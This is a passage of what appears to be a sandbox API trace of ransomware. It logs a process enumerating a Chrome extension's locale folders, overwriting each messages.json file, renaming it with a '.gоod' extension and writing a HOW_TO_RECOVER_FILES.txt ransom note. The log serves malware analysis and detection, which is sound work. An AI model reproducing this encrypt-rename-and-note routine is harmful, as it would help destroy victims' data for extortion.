Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpFilePart=0x0) returned 0x7b [0257.471] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553d2122, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5bbe, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553d5bbe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0257.471] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553d2122, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5bbe, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553d5bbe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.471] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553d5bbe, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5a38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0257.471] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0257.471] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0257.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0257.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0257.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0257.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpFilePart=0x0) returned 0x7b [0257.961] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553d2122, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5bbe, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553d5bbe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0257.962] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553d2122, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5bbe, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553d5bbe, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.962] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553d5bbe, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5a38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0257.962] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553d5bbe, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5a38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0257.962] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0257.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0257.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0257.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", lpFilePart=0x0) returned 0x89 [0257.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0257.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3e100a0 | out: lpFileInformation=0x3e100a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553d5bbe, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5a38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe3)) returned 1 [0257.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0257.963] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", lpFilePart=0x0) returned 0x89 [0257.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0257.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0257.963] GetFileType (hFile=0x858) returned 0x1 [0257.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0257.963] GetFileType (hFile=0x858) returned 0x1 [0257.963] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe3 [0257.963] ReadFile (in: hFile=0x858, lpBuffer=0x3e10540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3e10540*, lpNumberOfBytesRead=0x1f6e7648*=0xe3, lpOverlapped=0x0) returned 1 [0257.963] CloseHandle (hObject=0x858) returned 1 [0258.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", lpFilePart=0x0) returned 0x89 [0258.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0258.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.079] GetFileType (hFile=0x8a8) returned 0x1 [0258.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0258.079] GetFileType (hFile=0x8a8) returned 0x1 [0258.079] WriteFile (in: hFile=0x8a8, lpBuffer=0x3715ec0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3715ec0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0258.080] CloseHandle (hObject=0x8a8) returned 1 [0258.080] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json", lpFilePart=0x0) returned 0x89 [0258.080] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0258.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0258.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553d5bbe, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553d5a38, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x960a2db1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0258.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0258.080] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.gоod")) returned 1 [0258.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0258.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0258.081] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.082] GetFileType (hFile=0x8a8) returned 0x1 [0258.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0258.082] GetFileType (hFile=0x8a8) returned 0x1 [0258.083] WriteFile (in: hFile=0x8a8, lpBuffer=0x3719d98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3719d98*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0258.083] CloseHandle (hObject=0x8a8) returned 1 [0258.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0258.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpFilePart=0x0) returned 0x7b [0258.083] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553e6d3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553ea7d4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553ea7d4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0258.084] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553e6d3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553ea7d4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553ea7d4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.084] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553ea7d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553eb9c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0258.084] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.084] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0258.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0258.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0258.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0258.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpFilePart=0x0) returned 0x7b [0258.085] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553e6d3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553ea7d4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553ea7d4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0258.085] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553e6d3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553ea7d4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553ea7d4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.085] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553ea7d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553eb9c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0258.085] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553ea7d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553eb9c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0258.085] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0258.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0258.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0258.085] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", lpFilePart=0x0) returned 0x89 [0258.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0258.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3729d68 | out: lpFileInformation=0x3729d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553ea7d4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553eb9c8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1 [0258.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0258.086] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", lpFilePart=0x0) returned 0x89 [0258.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0258.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.086] GetFileType (hFile=0x8a8) returned 0x1 [0258.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0258.086] GetFileType (hFile=0x8a8) returned 0x1 [0258.086] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xdf [0258.086] ReadFile (in: hFile=0x8a8, lpBuffer=0x372a200, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x372a200*, lpNumberOfBytesRead=0x1f6e7648*=0xdf, lpOverlapped=0x0) returned 1 [0258.087] CloseHandle (hObject=0x8a8) returned 1 [0259.579] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json", lpFilePart=0x0) returned 0x89 [0259.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0259.579] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.579] GetFileType (hFile=0x86c) returned 0x1 [0259.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0259.579] GetFileType (hFile=0x86c) returned 0x1 [0259.580] WriteFile (in: hFile=0x86c, 